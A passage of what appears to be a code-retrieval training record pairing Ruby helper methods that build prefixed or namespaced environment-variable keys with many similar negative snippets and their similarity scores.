end\n env\n end", "def silver_spoon_key(id, namespace, scope)\n \"#{namespace}:#{scope}:#{id}\"\n end", "def full_key_path\n Pathname.new(spec.key_path).expand_path(@base_dir)\n end", "def lookup_key(uid, provider=nil)\n [provider, uid].compact.join('_').to_sym\n end", "def key\n key = self.name\n key = Economic::Support::String.demodulize(key)\n key = Economic::Support::String.underscore(key)\n key.intern\n end", "def full_key(relative_key)\n \"#{@root}/#{relative_key}\"\n end", "def env_name(key)\n key = key.to_s\n if key =~ HTTP_HEADER\n key = key.upcase.tr(\"-\", \"_\")\n key = \"HTTP_\" + key unless CGI_VARIABLES.include?(key)\n end\n key\n end", "def getKey; @args.map { |a| a.to_s }.join(':').to_sym end", "def key_name\n \"#{prefix}:#{@id}\"\n end", "def key\n name.underscore.tr('/', '_').to_sym\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def cache_key_prefix\n to_s\n end", "def key(*args)\n args.compact.join(\"/\")\n end", "def const(key)\n Moto::Lib::Config.environment_const(key)\n end", "def key\n @key ||= case options.case\n when :lower_camel\n base_key.camelize(:lower)\n when :upper_camel\n base_key.camelize(:upper)\n when :snake\n base_key.underscore\n end\n end", "def prepare_key(node)\n node = node.name if node.is_a? Deployment::Node\n node.to_s.to_sym\n end", "def key_from_path(path)\n path.basename.to_s.split('.', 2).first.to_sym\n end", "def build_item_key(item)\n if options[:id_namespace]\n \"#{options[:id_namespace]}_#{item.key}\"\n else\n item.key\n end\n end", "def build_item_key(item)\n if options[:id_namespace]\n \"#{options[:id_namespace]}_#{item.key}\"\n else\n item.key\n end\n end", "def prefix_key(key)\n if self.instance_id\n [KEY_PREFIX, self.instance_id, key].join('/')\n else\n raise RuntimeError.new(\"Attempted to generate a key name without an instance id.\")\n end\n end", "def key_for(ip)\n [prefix, ip].join\n end", "def const(key)\n Moto::Lib::Config.environment_const(key)\n end", "def [](key)\n @env[key]\n end", "def [](key)\n @env[key]\n end", "def with_namespaces_key_for(keys = EMPTY_ARRAY)\n [*namespaces, *keys].join('_').upcase\n end", "def with_namespaces_key_for(keys = EMPTY_ARRAY)\n [*namespaces, *keys].join('_').upcase\n end", "def key_for(url)\n if url.match(/^#{prefix}/)\n url\n else\n [prefix, url].join\n end\n end", "def api_key_with_prefix(param_name, param_alias = nil)\n key = @api_key[param_name]\n key = @api_key.fetch(param_alias, key) unless param_alias.nil?\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{key}\"\n else\n key\n end\n end", "def api_key_with_prefix(param_name, param_alias = nil)\n key = @api_key[param_name]\n key = @api_key.fetch(param_alias, key) unless param_alias.nil?\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{key}\"\n else\n key\n end\n end", "def prefix_key(key)\n if self.instance_id\n [self.path, self.instance_id, key].join('/')\n else\n raise RuntimeError.new(\"Attempted to generate a key name without an instance id.\")\n end\n end", "def get_cache_key(target_name)\n if Rscons.phony_target?(target_name)\n PHONY_PREFIX + target_name.to_s\n else\n target_name\n end\n end", "def get_primary_keyfile\n ENV['NOT_DOCKERIZED'] ? ENV['SERVICE_ACCOUNT_KEY'] : File.absolute_path(ENV['SERVICE_ACCOUNT_KEY'])\n end", "def key(*args)\n args.join(\":\")\n end", "def look_for_environment_variables\n unless ENV[\"GOOGLE_CLOUD_KEYFILE\"].nil?\n return File.read(ENV[\"GOOGLE_CLOUD_KEYFILE\"])\n end\n\n ENV[\"GOOGLE_CLOUD_KEYFILE_JSON\"]\n end", "def base_prefix\n Starter::Config.read[:prefix]\n end", "def generate_cache_key(record, namespace)\n \"#{namespace}-#{record.cache_key_with_version}\"\n end", "def key_template\n @key_template ||= [*name.downcase.split(\"::\"), \"%<id>d\"].join(\":\")\n end", "def env(key) \n str = key.to_s \n env?(str) ? ENV[str] : nil\n end", "def get_key(key)\n\t\t\tif @prod_env\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_prod\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_prod\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_dev\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_dev\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def key\n self.class.name.split(/::/).last.underscore\n end", "def resource_id(prefix)\n if default_config?\n [prefix, project, node_type, node_name]\n else\n [prefix, project, configuration, node_type, node_name]\n end.compact.join(\"_\").tr(\"-\", '_').tr(\"/\", \"_\")\n end", "def resource_id(prefix)\n if default_config?\n [prefix, project, node_type, node_name]\n else\n [prefix, project, configuration, node_type, node_name]\n end.compact.join(\"_\").tr(\"-\", '_').tr(\"/\", \"_\")\n end", "def current_key_prefix(search_type)\n Base64.urlsafe_encode64(\"#{search_type.chr}\\0#{@key_id.chr}\")\n end", "def make_key class_name\n name = class_name.to_s.pluralize.gsub(/::/, '__').underscore\n only_last_part_plural(name).to_sym\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def key_prefix(payload)\n object_key = File.join(\n config.fetch(:bucket_prefix, 'published-repositories'),\n payload.get(:data, :account, :name)\n )\n end", "def env_variable_names\n [\n CONSUMER_KEY_NAME,\n CONSUMER_SECRET_NAME,\n ACCESS_TOKEN_KEY_NAME,\n ACCESS_TOKEN_SECRET_NAME\n ]\n end" ]
[ "0.7169322", "0.70105785", "0.6975438", "0.68354785", "0.67595005", "0.6699968", "0.6581302", "0.6493663", "0.6420136", "0.625901", "0.625901", "0.6199994", "0.61409706", "0.61072487", "0.61072487", "0.60862523", "0.60562915", "0.6034817", "0.6028828", "0.600027", "0.59687525", "0.5958583", "0.59260905", "0.591763", "0.58621436", "0.5833732", "0.58209187", "0.5815699", "0.5803802", "0.5797015", "0.5795336", "0.5775381", "0.5767503", "0.57574314", "0.5747166", "0.5722583", "0.57148993", "0.57058847", "0.57033926", "0.57017404", "0.56972474", "0.5636066", "0.561832", "0.5615824", "0.56091815", "0.5607483", "0.56052107", "0.55923665", "0.5582075", "0.55796516", "0.55753994", "0.55753994", "0.55753994", "0.55753994", "0.55753994", "0.55753994", "0.55753994", "0.55753994", "0.55753994", "0.55753994", "0.55753994", "0.55753994", "0.55578375", "0.553483", "0.5533923", "0.5524278", "0.55231696", "0.55088943", "0.55085105", "0.55085105", "0.549976", "0.5498475", "0.5487283", "0.5483453", "0.5483453", "0.5477396", "0.5477396", "0.5470073", "0.5465206", "0.5465206", "0.54605037", "0.54559964", "0.54559094", "0.5444064", "0.5434735", "0.5432125", "0.54316235", "0.54279685", "0.542585", "0.54108745", "0.54027134", "0.5386583", "0.5386583", "0.53787434", "0.53709215", "0.5369467", "0.5369467", "0.5362409", "0.5356009" ]
0.56806517
42
Returns a key to be used in looking up an environment variable that contains namespace and provided keys.
def with_namespaces_key_for(keys = EMPTY_ARRAY) [*namespaces, *keys].join('_').upcase end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def qualified_key\n [@env.namespace.to_s, @key].reject(&:empty?).compact.join('.')\n end", "def namespace_key(name)\n namespaces[name][:key]\n end", "def namespaced_key(key)\n \"#{@namespace}_#{key}\"\n end", "def full_key(namespace, key)\n \"#{namespace}:#{key}\"\n end", "def key_with_namespace(key)\n return key if namespace.nil?\n\n \"#{evaluate_namespace}#{NAMESPACE_SEPARATOR}#{key}\"\n end", "def env_name(key); end", "def key_for(key)\n key_parts = []\n key_parts << @namespace if @namespace && @namespace.length > 0\n \n # Gracefully handles arrays passed here as well, due to the flatten\n key_parts << key\n key_parts.flatten.join ':'\n end", "def get_env(key)\n\n end", "def namespaced(key)\n [@namespace, key].join(':')\n end", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def rest_of_key(namespace)\n return nil if @key == namespace\n\n key = @key.to_s\n\n index = key.index(namespace.to_s) && (namespace.to_s.length + 1)\n key[index, key.length].to_sym if index\n end", "def get_reference_value(key, context, parameters)\n if key.start_with?('env.')\n env_key = key[4..-1]\n raise InterpolationError.new(\"Cannot interpolate '#{key}' - ENV[#{env_key}] not defined\") unless ENV.has_key?(env_key)\n ENV[env_key]\n elsif parameters.has_key?(key)\n parameters[key]\n else\n context.get_value(key, parameters: parameters)\n end\n end", "def get_env_var key\n key = key.to_s\n exec(Beaker::Command.new(\"env | grep ^#{key}=\"), :accept_all_exit_codes => true).stdout.chomp\n end", "def get(namespace, key); end", "def env_var_to_hold_api_client_primary_key\n @env_var_to_hold_api_client_primary_key.to_s\n end", "def key\n instance_variables\n .collect { |variable| instance_variable_get(variable) }\n .join\n end", "def silver_spoon_key(id, namespace, scope)\n \"#{namespace}:#{scope}:#{id}\"\n end", "def env_key; end", "def path_key\n env.keys.grep(/\\Apath\\Z/i).first\n end", "def [](key)\n @env[key]\n end", "def [](key)\n @env[key]\n end", "def environment_item prefix, key, value\n {Oaf::Util.prepare_key(prefix, key) => Oaf::Util.flatten(value)}\n end", "def full_key\n [name, key].join(\"/\")\n end", "def get_context_var(group, key, context = @context)\n context[\"#{group}::#{key}\"]\n end", "def key_for(resource_name)\n [prefix, resource_name].join\n end", "def env_vars_prefix\n self.class.parent.name.underscore.upcase.tr('/', '_')\n end", "def key\n name = self.class.name.split(\"::\").last\n Util.underscore(name).to_sym\n end", "def option_name(key)\n case key\n when Symbol ; \"#{RACK_ENV_NS}.#{key}\"\n when String ; key\n else raise ArgumentError\n end\n end", "def env(key) \n str = key.to_s \n env?(str) ? ENV[str] : nil\n end", "def expand_cache_key(key, namespace = nil)\n expanded_cache_key = namespace ? +\"#{namespace}/\" : +\"\"\n\n if prefix = ENV[\"RAILS_CACHE_ID\"] || ENV[\"RAILS_APP_VERSION\"]\n expanded_cache_key << \"#{prefix}/\"\n end\n\n expanded_cache_key << retrieve_cache_key(key)\n expanded_cache_key\n end", "def key\n key = config[:key] || flags.last.sub(/\\A--?/, '')\n key = key.tr '-', '_' if underscore_flags?\n key.to_sym\n end", "def key\n \"#{Goalkeeper.namespace}:#{label}\"\n end", "def prepare_key(node)\n node = node.name if node.is_a? Deployment::Node\n node.to_s.to_sym\n end", "def etcd_key\n self.class.etcd_schema.path_with_keys do |sym|\n self.instance_variable_get(\"@#{sym}\")\n end\n end", "def getKey; @args.map { |a| a.to_s }.join(':').to_sym end", "def key\n key = self.name\n key = Economic::Support::String.demodulize(key)\n key = Economic::Support::String.underscore(key)\n key.intern\n end", "def lookup_key(uid, provider=nil)\n [provider, uid].compact.join('_').to_sym\n end", "def build_item_key(item)\n if options[:id_namespace]\n \"#{options[:id_namespace]}_#{item.key}\"\n else\n item.key\n end\n end", "def build_item_key(item)\n if options[:id_namespace]\n \"#{options[:id_namespace]}_#{item.key}\"\n else\n item.key\n end\n end", "def key\n name.underscore.tr('/', '_').to_sym\n end", "def lookup_variable (varname)\n\n env, var = lookup_environment(varname)\n env[var]\n end", "def env_name(key)\n key = key.to_s\n if key =~ HTTP_HEADER\n key = key.upcase.tr(\"-\", \"_\")\n key = \"HTTP_\" + key unless CGI_VARIABLES.include?(key)\n end\n key\n end", "def access_key_id\n ENV[\"#{partition&.upcase}_ACCESS_KEY_ID\"] || credentials[\"#{partition}_access_key_id\"]\n end", "def env_variable_prefix\n 'APP_'\n end", "def env_variable_prefix\n 'APP_'\n end", "def const(key)\n Moto::Lib::Config.environment_const(key)\n end", "def look_for_environment_variables\n unless ENV[\"GOOGLE_CLOUD_KEYFILE\"].nil?\n return File.read(ENV[\"GOOGLE_CLOUD_KEYFILE\"])\n end\n\n ENV[\"GOOGLE_CLOUD_KEYFILE_JSON\"]\n end", "def key_from_path(path)\n path.basename.to_s.split('.', 2).first.to_sym\n end", "def key\n (key_name || name).to_sym\n end", "def base_key_label\n @key_label_base ||= [RedisModel::Configurations.instance.app_name, RedisModel::Configurations.instance.environment, @klass.name.underscore].compact.join(':')\n end", "def const(key)\n Moto::Lib::Config.environment_const(key)\n end", "def key\n \"#{@@PREFIX}#{@name.gsub(\" \",\"-\")}\"\n end", "def environment\n @env_vars ||= VARS.reduce({}) do |hash, (key, value)|\n hash.merge(\"#{prefix}_#{value}\" => send(key))\n end.merge(env)\n end", "def variable(project, key)\n get(\"/projects/#{url_encode project}/variables/#{key}\")\n end", "def env_keys\n mapping.values\n end", "def env_variable_names\n [\n CONSUMER_KEY_NAME,\n CONSUMER_SECRET_NAME,\n ACCESS_TOKEN_KEY_NAME,\n ACCESS_TOKEN_SECRET_NAME\n ]\n end", "def retrieve(key, environment)\n environment ||= 'default'\n self.fetch(environment, {})[key.to_s]\n end", "def get(key)\n @variables[key.to_sym]\n end", "def key(*args)\n args.compact.join(\"/\")\n end", "def lookup_variable(key)\n\n fexp.lookup_variable(key)\n end", "def at(key_chain)\n result = key_chain.split(\".\").inject(self) { |result, key| result = result ? result[key] : nil }\n end", "def key(*args)\n args.join(\":\")\n end", "def namespaced_keyed_filename\n full_path_to_credential_file\n end", "def get_key(env_name, config_key)\n # First read in ENV\n return ENV[env_name] if ENV[env_name]\n\n # Otherwise read from _config.yml\n if @config['algolia'] && @config['algolia'][config_key]\n return @config['algolia'][config_key]\n end\n\n nil\n end", "def key\n self.class.name.split(/::/).last.underscore\n end", "def versioned_key(key, namespace = '')\n \"tml_#{namespace}#{CACHE_VERSION_KEY == key ? '' : \"_v#{version}\"}_#{key}\"\n end", "def get_key(key)\n\t\t\tif @prod_env\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_prod\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_prod\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_dev\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_dev\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def instance_var_sym(key)\n \"@#{key}\".to_sym\n end", "def find_key(key)\n if env_map.has_key?(key)\n return { key => env_map[key]}\n else\n raise 'Key not found!'\n end\n end", "def full_key(relative_key)\n \"#{@root}/#{relative_key}\"\n end", "def make_key class_name\n name = class_name.to_s.pluralize.gsub(/::/, '__').underscore\n only_last_part_plural(name).to_sym\n end", "def key\n @key ||= case options.case\n when :lower_camel\n base_key.camelize(:lower)\n when :upper_camel\n base_key.camelize(:upper)\n when :snake\n base_key.underscore\n end\n end", "def key\n \"#{@@PREFIX}#{@type}-#{@version.gsub(\".\",\"-\")}\"\n end", "def key_template\n @key_template ||= [*name.downcase.split(\"::\"), \"%<id>d\"].join(\":\")\n end", "def full_key_path\n Pathname.new(spec.key_path).expand_path(@base_dir)\n end", "def get_primary_keyfile\n ENV['NOT_DOCKERIZED'] ? ENV['SERVICE_ACCOUNT_KEY'] : File.absolute_path(ENV['SERVICE_ACCOUNT_KEY'])\n end", "def local_name\n \"#{key}_value\"\n end", "def get(ns, name)\n name = name.to_s if name.is_a?(Symbol)\n if @@keys[ns + name].nil?\n @@keys[ns + name] = new(ns, name).freeze\n end\n @@keys[ns + name]\n end", "def project_setting(key)\n data.config[config[:environment]][key]\n end", "def provider_root(lookup_invocation)\n Pathname.new(lookup_invocation.scope.environment.configuration.path_to_env)\n end", "def env_from_parameters parameters, key_prefix=\"hookhand\"\n env = {}\n parameters.each do |key, value|\n if key.is_a? Enumerable\n env.merge! env_from_parameters(key, key_prefix)\n next\n end\n\n env_key = \"#{key_prefix.upcase}_#{key.to_s.upcase}\"\n if value.is_a? Enumerable\n env.merge! env_from_parameters(value, env_key)\n else\n env[env_key] = value.to_s\n end\n end\n env\n end", "def prepare_key(task)\n task = task.name if task.is_a? Deployment::Task\n task.to_s.to_sym\n end", "def shared_key(env)\n token = env[options[:header_token]]\n\n shared_token = options[:klass].send(options[:method].to_s, token)\n shared_token.to_s\n end", "def env(key)\n capture(\"echo $#{key}\")\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def lookup_value(key, context=nil)\n [named_context[context] || {}, global].map {|c| c[key]}.compact.first\n end", "def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end", "def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end", "def make_key(type, name)\n \"%#{type}%#{name}\"\n end", "def version_key(key)\n return \"#{key}_v#{VERSION}\"\n end", "def env_var(field)\n \"DCOS_#{field.to_s.upcase}\"\n end", "def get_api_key_code(storage_type)\n case storage_type\n when :environment\n \"ENV['TIMBER_API_KEY']\"\n when :inline\n \"'#{api.api_key}'\"\n else\n raise ArgumentError.new(\"API key storage type not recognized! \" \\\n \"#{storage_type.inspect}\")\n end\n end", "def key_name(key)\n key.to_s.index(SPACE_RE) ? \"\\\"#{key}\\\"\" : key\n end", "def get_cache_key(target_name)\n if Rscons.phony_target?(target_name)\n PHONY_PREFIX + target_name.to_s\n else\n target_name\n end\n end", "def get_value_from_dotenv(var)\n line=open('./.env') { |f| f.lines.find { |line| line.include?(var) } }\n line=line.chomp\n return line.split(\"=\").last.split(' ').first.tr('\"','')\nend", "def with_prefixes_namespaces_key_for(keys = EMPTY_ARRAY)\n [*prefixes, *namespaces, *keys].join('_').upcase\n end", "def with_prefixes_namespaces_key_for(keys = EMPTY_ARRAY)\n [*prefixes, *namespaces, *keys].join('_').upcase\n end" ]
[ "0.72297466", "0.70708716", "0.70441324", "0.7018022", "0.6987711", "0.68105304", "0.67816097", "0.63192475", "0.61887234", "0.61762613", "0.61762613", "0.60776365", "0.60659045", "0.6040541", "0.6032469", "0.60021764", "0.60020125", "0.59961647", "0.59668356", "0.5940021", "0.59226", "0.59226", "0.59155166", "0.5912016", "0.5909775", "0.5815749", "0.5792388", "0.5788997", "0.57862365", "0.5780495", "0.57548046", "0.5739678", "0.5737344", "0.5702323", "0.56997174", "0.5690671", "0.56612164", "0.56502926", "0.5624832", "0.5624832", "0.5622682", "0.5618986", "0.5605763", "0.5594216", "0.5591997", "0.5591997", "0.55876535", "0.5581936", "0.556194", "0.5543368", "0.5543361", "0.5542722", "0.553826", "0.55366075", "0.5529834", "0.55249965", "0.5519743", "0.5492932", "0.54860234", "0.5481793", "0.5481396", "0.5478545", "0.5473087", "0.5463758", "0.5461512", "0.5442457", "0.5436944", "0.54269075", "0.54260683", "0.54222393", "0.54159707", "0.5404765", "0.5403138", "0.54006094", "0.5397241", "0.5383331", "0.53746563", "0.53411955", "0.5333875", "0.533266", "0.53244835", "0.5307717", "0.5303565", "0.5303358", "0.5297211", "0.5296335", "0.5296335", "0.52925515", "0.52844167", "0.52844167", "0.5281872", "0.5277806", "0.5273989", "0.5267661", "0.5260866", "0.52465755", "0.5242379", "0.5242073", "0.5242073" ]
0.5625951
39
Returns a key to be used in looking up an environment variable that contains prefix and provided keys.
def with_prefixes_key_for(keys = EMPTY_ARRAY) [*prefixes, *keys].join('_').upcase end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def environment_item prefix, key, value\n {Oaf::Util.prepare_key(prefix, key) => Oaf::Util.flatten(value)}\n end", "def qualified_key\n [@env.namespace.to_s, @key].reject(&:empty?).compact.join('.')\n end", "def prepare_key prefix, key\n \"oaf_#{prefix}_#{key.gsub('-', '_').downcase}\"\n end", "def env_name(key); end", "def env_variable_prefix\n 'APP_'\n end", "def env_variable_prefix\n 'APP_'\n end", "def key_for(resource_name)\n [prefix, resource_name].join\n end", "def full_key(namespace, key)\n \"#{namespace}:#{key}\"\n end", "def env_vars_prefix\n self.class.parent.name.underscore.upcase.tr('/', '_')\n end", "def key_for(key)\n key_parts = []\n key_parts << @namespace if @namespace && @namespace.length > 0\n \n # Gracefully handles arrays passed here as well, due to the flatten\n key_parts << key\n key_parts.flatten.join ':'\n end", "def prefix(*args)\n [@options[:env], @options[:prefix], *args].compact.join('.')\n end", "def full_key\n [name, key].join(\"/\")\n end", "def namespaced_key(key)\n \"#{@namespace}_#{key}\"\n end", "def key\n \"#{@@PREFIX}#{@name.gsub(\" \",\"-\")}\"\n end", "def prefix_key(key)\n if self.instance_id\n [KEY_PREFIX, self.instance_id, key].join('/')\n else\n raise RuntimeError.new(\"Attempted to generate a key name without an instance id.\")\n end\n end", "def prefix\n regexify(bothify(fetch('aircraft.prefix')))\n end", "def key_for(ip)\n [prefix, ip].join\n end", "def key_for(url)\n if url.match(/^#{prefix}/)\n url\n else\n [prefix, url].join\n end\n end", "def env_from_parameters parameters, key_prefix=\"hookhand\"\n env = {}\n parameters.each do |key, value|\n if key.is_a? Enumerable\n env.merge! env_from_parameters(key, key_prefix)\n next\n end\n\n env_key = \"#{key_prefix.upcase}_#{key.to_s.upcase}\"\n if value.is_a? Enumerable\n env.merge! env_from_parameters(value, env_key)\n else\n env[env_key] = value.to_s\n end\n end\n env\n end", "def var_prefix\n # ugh, i was generating meta/qb.yml files that set 'var_prefix' to\n # `null`, but it would be nice to\n # \n meta_or 'var_prefix', namespaceless\n end", "def key\n key = config[:key] || flags.last.sub(/\\A--?/, '')\n key = key.tr '-', '_' if underscore_flags?\n key.to_sym\n end", "def prefix_key(key)\n if self.instance_id\n [self.path, self.instance_id, key].join('/')\n else\n raise RuntimeError.new(\"Attempted to generate a key name without an instance id.\")\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def api_key_with_prefix(param_name)\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{@api_key[param_name]}\"\n else\n @api_key[param_name]\n end\n end", "def base_key_label\n @key_label_base ||= [RedisModel::Configurations.instance.app_name, RedisModel::Configurations.instance.environment, @klass.name.underscore].compact.join(':')\n end", "def key_with_namespace(key)\n return key if namespace.nil?\n\n \"#{evaluate_namespace}#{NAMESPACE_SEPARATOR}#{key}\"\n end", "def cache_key_prefix\n to_s\n end", "def env_var_to_hold_api_client_primary_key\n @env_var_to_hold_api_client_primary_key.to_s\n end", "def access_key_id\n ENV[\"#{partition&.upcase}_ACCESS_KEY_ID\"] || credentials[\"#{partition}_access_key_id\"]\n end", "def environment\n @env_vars ||= VARS.reduce({}) do |hash, (key, value)|\n hash.merge(\"#{prefix}_#{value}\" => send(key))\n end.merge(env)\n end", "def base_prefix\n Starter::Config.read[:prefix]\n end", "def current_key_prefix(search_type)\n Base64.urlsafe_encode64(\"#{search_type.chr}\\0#{@key_id.chr}\")\n end", "def api_key_with_prefix(param_name, param_alias = nil)\n key = @api_key[param_name]\n key = @api_key.fetch(param_alias, key) unless param_alias.nil?\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{key}\"\n else\n key\n end\n end", "def api_key_with_prefix(param_name, param_alias = nil)\n key = @api_key[param_name]\n key = @api_key.fetch(param_alias, key) unless param_alias.nil?\n if @api_key_prefix[param_name]\n \"#{@api_key_prefix[param_name]} #{key}\"\n else\n key\n end\n end", "def path_key\n env.keys.grep(/\\Apath\\Z/i).first\n end", "def key(*args)\n args.compact.join(\"/\")\n end", "def with_prefixes_namespaces_key_for(keys = EMPTY_ARRAY)\n [*prefixes, *namespaces, *keys].join('_').upcase\n end", "def with_prefixes_namespaces_key_for(keys = EMPTY_ARRAY)\n [*prefixes, *namespaces, *keys].join('_').upcase\n end", "def key_for(url)\n [prefix, url].join\n end", "def full_key(relative_key)\n \"#{@root}/#{relative_key}\"\n end", "def get_env(key)\n\n end", "def lookup_key(uid, provider=nil)\n [provider, uid].compact.join('_').to_sym\n end", "def getKey; @args.map { |a| a.to_s }.join(':').to_sym end", "def env_key; end", "def get_env_var key\n key = key.to_s\n exec(Beaker::Command.new(\"env | grep ^#{key}=\"), :accept_all_exit_codes => true).stdout.chomp\n end", "def key(*args)\n args.join(\":\")\n end", "def key\n instance_variables\n .collect { |variable| instance_variable_get(variable) }\n .join\n end", "def namespace_key(name)\n namespaces[name][:key]\n end", "def find(prefix)\n prefix.downcase!\n @base.each_key do |name|\n if name.start_with? prefix\n puts base[name].to_s()\n end\n end\n end", "def full_key_path\n Pathname.new(spec.key_path).expand_path(@base_dir)\n end", "def prefix\n @obj['prefix']\n end", "def key\n \"#{Goalkeeper.namespace}:#{label}\"\n end", "def resource_id(prefix)\n if default_config?\n [prefix, project, node_type, node_name]\n else\n [prefix, project, configuration, node_type, node_name]\n end.compact.join(\"_\").tr(\"-\", '_').tr(\"/\", \"_\")\n end", "def resource_id(prefix)\n if default_config?\n [prefix, project, node_type, node_name]\n else\n [prefix, project, configuration, node_type, node_name]\n end.compact.join(\"_\").tr(\"-\", '_').tr(\"/\", \"_\")\n end", "def key_name\n \"#{prefix}:#{@id}\"\n end", "def get_key(key)\n\t\t\tif @prod_env\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_prod\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_prod\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_dev\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_dev\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def prefix_key\n if @struct.prefix_key.size > 0\n @struct.prefix_key[0..-1 - options[:prefix_delimiter].size]\n else\n \"\"\n end\n end", "def key\n 